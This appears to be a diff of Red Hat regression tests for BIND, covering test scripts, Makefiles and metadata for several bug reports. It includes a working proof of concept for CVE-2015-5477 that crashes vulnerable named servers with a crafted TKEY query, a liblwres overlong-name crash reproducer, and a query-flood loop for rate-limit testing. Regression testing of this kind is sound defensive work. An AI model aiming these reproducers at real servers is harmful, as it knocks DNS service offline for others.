# Author: Tereza Cerna <tcerna@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2015 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
rlFileBackup /etc/named.conf
rlFileBackup /etc/sysconfig/named
rlFileBackup /var/named/data/named.run
rlRun "cat named.conf > /etc/named.conf" 0 "Set /etc/named.conf"
rlRun "echo \" \" > /etc/sysconfig/named" 0 "Stop writing in chroot"
rlRun "echo \" \" > /var/named/data/named.run" 0 "Clear log file /var/named/data/named.run"
rlRun "chown named:named /var/named/data/named.run" 0 "Setting the rights to named service"
rlServiceStart named
rlPhaseEnd
rlPhaseStartTest
for i in `seq 1 100`; do (dig @127.0.0.1 seznam.cz +ignore +retry=0 +time=5&); done
sleep 15
for i in `seq 1 100`; do (dig @127.0.0.1 seznam.cz +ignore +retry=0 +time=5&); done
sleep 15
rlAssertNotEquals "Slip response exists" `grep slip /var/named/data/named.run | wc -l` 0
rlAssertEquals "Drop response exists" `grep drop /var/named/data/named.run | wc -l` 0
cat /var/named/data/named.run
rlPhaseEnd
rlPhaseStartCleanup
sleep 5m
rlFileRestore
rlServiceRestore named
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,36 @@
#!/usr/bin/python
# usage: python CVE-2015-5477.py 127.0.0.1 53
#
# An affected BIND version will crash with a message like:
# Jul 27 22:17:28 localhost named[1746]: message.c:2311: REQUIRE(*name == ((void *)0)) failed, back trace
#
# Florian Weimer / Red Hat Product Security
#
# PRIVATE EXPLOT -- DO NOT SHARE
import dns.message
import dns.name
import dns.rdtypes.IN.A
import dns.rrset
import sys
import socket
from dns.rdataclass import IN
target, port = sys.argv[1:]
port = int(port)
invalid = dns.name.from_text("invalid.")
additional = dns.rrset.RRset(invalid, IN, dns.rdatatype.A)
additional.add(dns.rdtypes.IN.A.A(IN, dns.rdatatype.A, "192.0.2.1"))
msg = dns.message.Message()
msg.question.append(dns.rrset.RRset(invalid, IN, dns.rdatatype.TKEY))
msg.additional.append(additional)
print(msg.to_text())
blob = msg.to_wire()
print(repr(blob))
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
sock.sendto(blob, (target, port))

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial
# Description: Test for BZ#1247374 (bind TKEY query handling flaw leading to denial of)
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2015 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE CVE-2015-5477.py
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Petr Sklenar <psklenar@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1247374 (bind TKEY query handling flaw leading to denial of)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 5m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind python-dns python2-dns python3-dns python-crypto python3" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1247374" >> $(METADATA)
@echo "Releases: -RHEL4 -RHELClient5 -RHELServer5" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial
Description: Test for BZ#1247374 (bind TKEY query handling flaw leading to denial of)
Author: Petr Sklenar <psklenar@redhat.com>
Bug summary: bind: TKEY query handling flaw leading to denial of service [rhel-7.2]
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1247374

View file

@ -0,0 +1,28 @@
summary: Test for BZ#1247374 (bind TKEY query handling flaw leading to denial of)
description: |
Bug summary: bind: TKEY query handling flaw leading to denial of service [rhel-7.2]
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1247374
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
- python-dns
- python2-dns
- python3-dns
- python-crypto
- python3
duration: 5m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- TIPfail
- TIPfail_infra
- TIPpass_FIPS
relevancy: |
distro = rhel-4, rhel-5, rhel-6: False
extra-summary: /CoreOS/bind/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial
extra-task: /CoreOS/bind/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial
extra-nitrate: TC#0504919

View file

@ -0,0 +1,55 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial
# Description: Test for BZ#1247374 (bind TKEY query handling flaw leading to denial of)
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2015 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
rlServiceStart named
rlRun "service named status"
rpm -qa | grep python| grep dns || yum install -y python\*-dns\*
rlPhaseEnd
rlPhaseStartTest
python='python3'
rlIsRHEL '<8' && python='python2'
rlRun "$python CVE-2015-5477.py 127.0.0.1 53 &> log"
rlLog "`echo XXXXXXXXXXXXXXXXXXXXXXX;cat log;echo XXXXXXXXXXXXXXXXXXXXXX`"
rlRun "service named status"
rlPhaseEnd
rlPhaseStartCleanup
rlServiceRestore named
rm -rf log
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,65 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1306504-lwresd-segfault-at-start-lookup
# Description: Test for BZ#1306504 (lwresd segfault at start_lookup)
# Author: Petr Sklenar <psklenar@redhat.com>
# Based on pavlix's https://bugzilla.redhat.com/show_bug.cgi?id=1306504#c21
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2016 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1306504-lwresd-segfault-at-start-lookup
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE client.py client3.py server.sh
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Petr Sklenar <psklenar@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1306504 (lwresd segfault at start_lookup)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 50m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind bind-libs python36 python3" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1306504" >> $(METADATA)
@echo "Releases: -RHEL4 -RHELClient5 -RHELServer5" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1306504-lwresd-segfault-at-start-lookup
Description: Test for BZ#1306504 (lwresd segfault at start_lookup)
Author: Petr Sklenar <psklenar@redhat.com>
Bug summary: lwresd: segfault at start_lookup
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1306504

View file

@ -0,0 +1,13 @@
#!/usr/bin/python
from __future__ import print_function
from ctypes import *
lwres = CDLL("liblwres.so")
lwres.lwres_getrrsetbyname.argtypes = (c_char_p, c_int, c_int, c_int, c_void_p)
name = 3 * ("a" * 63 + ".") + "a" * 61
print("{0} ({1})".format(name, len(name)))
result = lwres.lwres_getrrsetbyname(name, 1, 1, 0, None)
print(result)

View file

@ -0,0 +1,11 @@
#!/usr/bin/python
from ctypes import *
lwres = CDLL("liblwres.so")
lwres.lwres_getrrsetbyname.argtypes = (c_char_p, c_int, c_int, c_int, c_void_p)
name = 3 * ("a" * 63 + ".") + "a" * 61
print("{0} ({1})".format(name, len(name)))
result = lwres.lwres_getrrsetbyname(str.encode(name), 1, 1, 0, None)
print(result)

View file

@ -0,0 +1,28 @@
summary: Test for BZ#1306504 (lwresd segfault at start_lookup)
description: |
Bug summary: lwresd: segfault at start_lookup
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1306504
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
- bind-libs
- python36
- python3
duration: 50m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- TIP_fedora_fail
- TIPfail_infra
- TIPpass
- Tier1
tier: '1'
relevancy: |
distro = rhel-4, rhel-5: False
extra-summary: /CoreOS/bind/Regression/bz1306504-lwresd-segfault-at-start-lookup
extra-task: /CoreOS/bind/Regression/bz1306504-lwresd-segfault-at-start-lookup
extra-nitrate: TC#0529313

View file

@ -0,0 +1,85 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1306504-lwresd-segfault-at-start-lookup
# Description: Test for BZ#1306504 (lwresd segfault at start_lookup)
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2016 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
SERVERLOG=$(mktemp ServerLogXXXXXXXXXX)
DNS1=$(cat /etc/resolv.conf | grep -v '^#' | grep nameserver | awk '{print $2}' | head -n1)
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
#stop testing if DSN1 is wrong:
rlRun "ping $DNS1 -w2" || rlDie
#rhel6 uses liblwres.so.80 ; rhel7 liblwres.so.90; F24beta uses liblwres.so.141;
LIBLWRES=$(rpm -ql bind-libs | grep liblwres.so|head -n1)
LIBLWRESNEW=$(dirname $LIBLWRES)/liblwres.so
ln -s $LIBLWRES $LIBLWRESNEW
rlRun "ls -la $LIBLWRESNEW"
#it shouldn't traceback
if rlIsRHEL '<=7'; then
rlRun "python client.py &>/dev/null" || rlDie
else
rlRun "python3 client3.py &>/dev/null" || rlDie
fi
rlPhaseEnd
rlPhaseStartSetup "start server"
bash server.sh $DNS1 &> $SERVERLOG &
PIDSERVER=$!
sleep 5
rlRun "grep -i 'starting BIND' $SERVERLOG"
rlPhaseEnd
rlPhaseStartTest "client part"
#only run, if there is segfault client.py hangs and test fails
if rlIsRHEL '<=7'; then
rlRun "timeout 1m python client.py"
else
rlRun "timeout 1m python3 client3.py"
fi
sleep 5
rlPhaseEnd
rlPhaseStartTest "check the server, PID = $PIDSERVER"
#if there is bug, pid is not here
rlRun "ps -p $PIDSERVER"
rlPhaseEnd
rlPhaseStartCleanup
kill -9 $PIDSERVER
sleep 5
rlFileSubmit $SERVERLOG
rm -rf $LIBLWRESNEW
rlRun "rm -r $SERVERLOG" 0 "Removing tmp directory"
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,3 @@
#!/bin/bash
lwresd -g -d 100 -c <(echo 'options { forwarders { '$1'; }; }; lwres { search { a; }; };')

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1313286-nsupdate-killed-by
# Description: Test for BZ#1313286 ([abrt] [faf] bind unknown function())
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2016 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1313286-nsupdate-killed-by
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE reproducer
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Petr Sklenar <psklenar@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1313286 ([abrt] [faf] bind unknown function())" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 5m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind bind-utils" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1313286" >> $(METADATA)
@echo "Releases: -RHEL4 -RHELClient5 -RHELServer5" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1313286-nsupdate-killed-by
Description: Test for BZ#1313286 ([abrt] [faf] bind unknown function())
Author: Petr Sklenar <psklenar@redhat.com>
Bug summary: [abrt] [faf] bind: unknown function(): /usr/bin/nsupdate killed by 6
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1313286

View file

@ -0,0 +1,24 @@
summary: Test for BZ#1313286 ([abrt] [faf] bind unknown function())
description: |
Bug summary: [abrt] [faf] bind: unknown function(): /usr/bin/nsupdate killed by 6
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1313286
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
- bind-utils
duration: 5m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- TIPfail_infra
- TIPpass
relevancy: |
distro = rhel-4, rhel-5: False
distro < rhel-6.9: False
extra-summary: /CoreOS/bind/Regression/bz1313286-nsupdate-killed-by
extra-task: /CoreOS/bind/Regression/bz1313286-nsupdate-killed-by
extra-nitrate: TC#0539538

View file

@ -0,0 +1,3 @@
realm EXAMPLE.COM
realm EXAMPLE.COM
quit

View file

@ -0,0 +1,40 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1313286-nsupdate-killed-by
# Description: Test for BZ#1313286 ([abrt] [faf] bind unknown function())
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2016 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
rlRun "nsupdate < reproducer"
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1321239-The-bind-and-bind-chroot-packages-specs-define-and
# Description: Test for BZ#1321239 (The bind and bind-chroot packages specs define and)
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2016 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1321239-The-bind-and-bind-chroot-packages-specs-define-and
export TESTVERSION=1.1
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Petr Sklenar <psklenar@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1321239 (The bind and bind-chroot packages specs define and)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 15m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind bind-chroot" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1321239 1392531" >> $(METADATA)
@echo "Releases: -RHEL4 -RHELClient5 -RHELServer5" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1321239-The-bind-and-bind-chroot-packages-specs-define-and
Description: Test for BZ#1321239 (The bind and bind-chroot packages specs define and)
Author: Petr Sklenar <psklenar@redhat.com>
Bug summary: The bind and bind-chroot packages specs define and apply group ownership and permissions differently for the /usr/lib64/bind (chroot'd as /var/named/chroot/usr/lib64/bind) directory
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1321239

View file

@ -0,0 +1,24 @@
summary: Test for BZ#1321239 (The bind and bind-chroot packages specs define and)
description: |
Bug summary: The bind and bind-chroot packages specs define and apply group ownership and permissions differently for the /usr/lib64/bind (chroot'd as /var/named/chroot/usr/lib64/bind) directory
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1321239
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
- bind-chroot
duration: 15m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- TIP_fedora_fail
- TIPfail_infra
- TIPpass
relevancy: |
distro < rhel-8: False
extra-summary: /CoreOS/bind/Regression/bz1321239-The-bind-and-bind-chroot-packages-specs-define-and
extra-task: /CoreOS/bind/Regression/bz1321239-The-bind-and-bind-chroot-packages-specs-define-and
extra-nitrate: TC#0540244

View file

@ -0,0 +1,61 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1321239-The-bind-and-bind-chroot-packages-specs-define-and
# Description: Test for BZ#1321239 (The bind and bind-chroot packages specs define and)
# Author: Petr Sklenar <psklenar@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2016 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
rlJournalStart
if rlIsRHEL 6;then
SERVICENAME="named"
else
SERVICENAME="named named-chroot"
fi
for i in $SERVICENAME;do
rlPhaseStartSetup "service $i"
rlRun "rlServiceStart $i"
rlPhaseEnd
rlPhaseStartTest "service $i"
rlRun "rlServiceStop $i"
rlRun "rpm -V bind bind-chroot"
rlRun "rlServiceStart $i"
rlRun "rpm -V bind bind-chroot"
rlPhaseEnd
rlPhaseStartCleanup "service $i"
rlServiceRestore $i
rlPhaseEnd
done
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,65 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1426626-The-named-sdb-utility-raises-an-abort
# Description: Test for BZ#1426626 (The named-sdb utility raises an abort())
# Author: Andrej Dzilsky <adzilsky@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1426626-The-named-sdb-utility-raises-an-abort
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Andrej Dzilsky <adzilsky@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1426626 (The named-sdb utility raises an abort())" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 30m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind-chroot bind-utils" >> $(METADATA)
@echo "RhtsRequires: library(bind/bind-setup)" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1426626" >> $(METADATA)
